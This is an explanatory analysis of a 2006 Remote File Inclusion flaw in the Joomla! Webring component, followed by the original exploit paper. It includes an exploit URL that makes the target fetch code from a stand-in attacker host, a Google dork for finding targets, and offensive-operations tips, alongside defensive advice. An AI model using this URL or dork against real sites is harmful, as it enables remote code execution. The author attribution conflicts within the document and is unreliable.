Understanding Joomla! Component Webring 1.0 RFI Exploit

What this paper is

This paper details a Remote File Inclusion (RFI) vulnerability found in the Joomla! Webring Component version 1.0. RFI vulnerabilities allow an attacker to trick a web application into including and executing arbitrary files from a remote server, often leading to full system compromise.

Simple technical breakdown

The vulnerability exists because the admin.webring.docs.php file in the com_webring component uses a user-supplied variable, $component_dir, without proper sanitization. This variable is used in a require_once statement, which tells PHP to include and execute a file. By controlling $component_dir and pointing it to a malicious script on an attacker's server, an attacker can force the Joomla! application to download and run that script.

Complete code and payload walkthrough

The provided paper is very concise and primarily points to the vulnerable code location and the exploit URL. There is no explicit code or payload provided in the "Code" or "Exploit" sections beyond the vulnerable line and the exploit syntax.

Vulnerable Code Snippet:

require_once ($component_dir. "mungdocs.class.php");

• require_once: This is a PHP construct that includes and evaluates the specified file. If the file has already been included, require_once will not include it again.
• $component_dir: This is a variable that is expected to contain the path to the component's directory. In this vulnerable scenario, it's directly taken from user input.
• "mungdocs.class.php": This is a fixed string representing a file within the component's directory.

Exploit Syntax:

http://www.site.com/[path]/administrator/components/com_webring/admin.webring.docs.php?component_dir=http://evil_scripts?

• http://www.site.com/[path]/administrator/components/com_webring/admin.webring.docs.php: This is the URL to the vulnerable script on the target Joomla! installation.
• ?component_dir=http://evil_scripts?: This is the crucial part.
  • component_dir: This is the GET parameter that the vulnerable script reads.
  • http://evil_scripts?: This is the attacker-controlled value for component_dir. The ? at the end is likely a placeholder for the actual malicious script name or a way to terminate the parameter if the server is configured to allow it.

Mapping:

• require_once ($component_dir. "mungdocs.class.php"); -> Practical Purpose: To include a critical class file for the webring component.
• $component_dir in require_once -> Practical Purpose: This is the direct vector for the RFI. When set to a URL, PHP's allow_url_include (or similar configurations) can cause it to fetch and execute code from that URL.
• component_dir=http://evil_scripts? -> Practical Purpose: This is the exploit payload syntax. It overrides the expected local path with a remote URL, aiming to execute code hosted on evil_scripts.

Shellcode/Payload:

The paper does not provide specific shellcode or payload bytes. The "exploit" is the URL itself, which relies on the target server's PHP configuration (allow_url_include being enabled) to fetch and execute a script hosted on evil_scripts. The content of evil_scripts would be the actual malicious payload, which could be anything from a simple PHP webshell to more complex code for further exploitation.

Practical details for offensive operations teams

• Required Access Level: Low. This is a remote vulnerability, meaning an attacker only needs to be able to send HTTP requests to the target web server. No user authentication is typically required for this specific exploit.
• Lab Preconditions:
  • A vulnerable Joomla! installation with the Webring Component 1.0 installed.
  • A web server configured with PHP that has allow_url_include enabled. This is a critical prerequisite and is often disabled by default for security reasons.
  • An attacker-controlled server hosting the malicious PHP script (e.g., evil_scripts).
• Tooling Assumptions:
  • A web browser or an HTTP request tool (like curl, Burp Suite, OWASP ZAP) to craft and send the exploit URL.
  • A simple web server (e.g., Python's http.server, Apache, Nginx) to host the malicious PHP payload.
• Execution Pitfalls:
  • allow_url_include disabled: If this PHP directive is not enabled, the RFI will not execute remote code. It might instead try to include a local file if the path is malformed, or simply fail.
  • allow_url_fopen disabled: While allow_url_include is the primary target, allow_url_fopen is also necessary for PHP to be able to open remote URLs in the first place. If both are disabled, RFI is impossible.
  • Web Application Firewalls (WAFs): Modern WAFs may detect and block requests containing suspicious URLs or patterns indicative of RFI.
  • URL Encoding/Sanitization: The target application or server might perform some basic URL sanitization, although this specific vulnerability appears to be a direct inclusion.
  • Payload Hosting: The attacker's server must be accessible from the target server, and the payload must be correctly formatted PHP code.
  • Component Path: The [path] in the exploit URL must correctly point to the root of the Joomla! installation.
• Expected Telemetry:
  • Target Server Logs:
    • HTTP access logs showing requests to admin.webring.docs.php with unusual component_dir parameters.
    • PHP error logs might show errors if allow_url_include is disabled or if the remote file cannot be fetched.
    • If successful, logs on the target server might show the execution of the remote script (e.g., creation of files, network connections, command execution).
  • Attacker Server Logs:
    • HTTP access logs showing requests from the target Joomla! server to the malicious script. This confirms the inclusion attempt.
    • If the malicious script performs further actions (e.g., establishing a reverse shell), corresponding logs on the attacker's command-and-control (C2) infrastructure.

Where this was used and when

• Context: This vulnerability was relevant to websites using Joomla! CMS with the specific "Webring Component" version 1.0 installed.
• When: The paper was published in August 2006. Therefore, this exploit would have been relevant around that time and for some period afterward until the component was updated or removed. Exploits from this era often targeted older, unpatched versions of popular web applications.

Defensive lessons for modern teams

• Input Validation and Sanitization: Never trust user input. Always validate and sanitize any external data before using it in file operations, database queries, or command execution. For file paths, ensure they are absolute and within expected directories, or use whitelisting.
• PHP Configuration (php.ini):
  • Disable allow_url_include: This directive should almost always be Off in production environments.
  • Disable allow_url_fopen: If not strictly necessary for legitimate remote file operations, disable this as well.
• Patch Management: Keep all CMS, plugins, and components updated to the latest secure versions. This vulnerability was in a specific, old version.
• Web Application Firewalls (WAFs): Deploy and properly configure WAFs to detect and block common attack patterns, including RFI attempts.
• Secure Coding Practices: Educate developers on secure coding principles, especially regarding file handling and external input.
• Least Privilege: Ensure web server processes run with the minimum necessary privileges.

ASCII visual (if applicable)

This vulnerability is a direct manipulation of a web request and server-side processing. An ASCII diagram can illustrate the flow:

+-----------------+      +-----------------------+      +-----------------+
| Attacker Server |----->| Target Web Server     |----->| Joomla! App     |
| (evil_scripts)  |      | (e.g., Apache/Nginx)  |      | (com_webring)   |
+-----------------+      +-----------------------+      +-----------------+
        ^                                                       |
        |                                                       | 1. Attacker sends
        | 3. Malicious script                                   |    HTTP request
        |    is fetched and                                     |    with RFI URL
        |    executed                                           |
        |                                                       |
        +-------------------------------------------------------+
                                                                |
                                                                | 2. PHP's require_once
                                                                |    interprets $component_dir
                                                                |    as a URL and fetches
                                                                |    the remote script.

Source references

• Paper ID: 2177
• Paper Title: Joomla! Component Webring 1.0 - Remote File Inclusion
• Author: Mehmet Ince
• Published: 2006-08-13
• Keywords: PHP, webapps
• Paper URL: https://www.exploit-db.com/papers/2177
• Raw URL: https://www.exploit-db.com/raw/2177

Original Exploit-DB Content (Verbatim)

####################################################
#                                                  #
#         C Y BE R - W A R R i O R   T I M         #
#                                                  #
####################################################

Joomla Webring Component (component_dir) Remote File Inclusion Vulnerabilities

####################################################

Author: xoron

####################################################

Class : Remote

####################################################

cont@ct: x0r0n[at]hotmail[dot]com

####################################################

Code: in admin.webring.docs.php, line 12

require_once ($component_dir. "mungdocs.class.php");

####################################################

Google dork: inurl:com_webring

####################################################

Exploit:
http://www.site.com/[path]/administrator/components/com_webring/admin.webring.docs.php?component_dir=http://evil_scripts?

####################################################

Greetz: str0ke, Preddy, Ironfist, x-master, DJR, R3D4C!D

####################################################

# milw0rm.com [2006-08-13]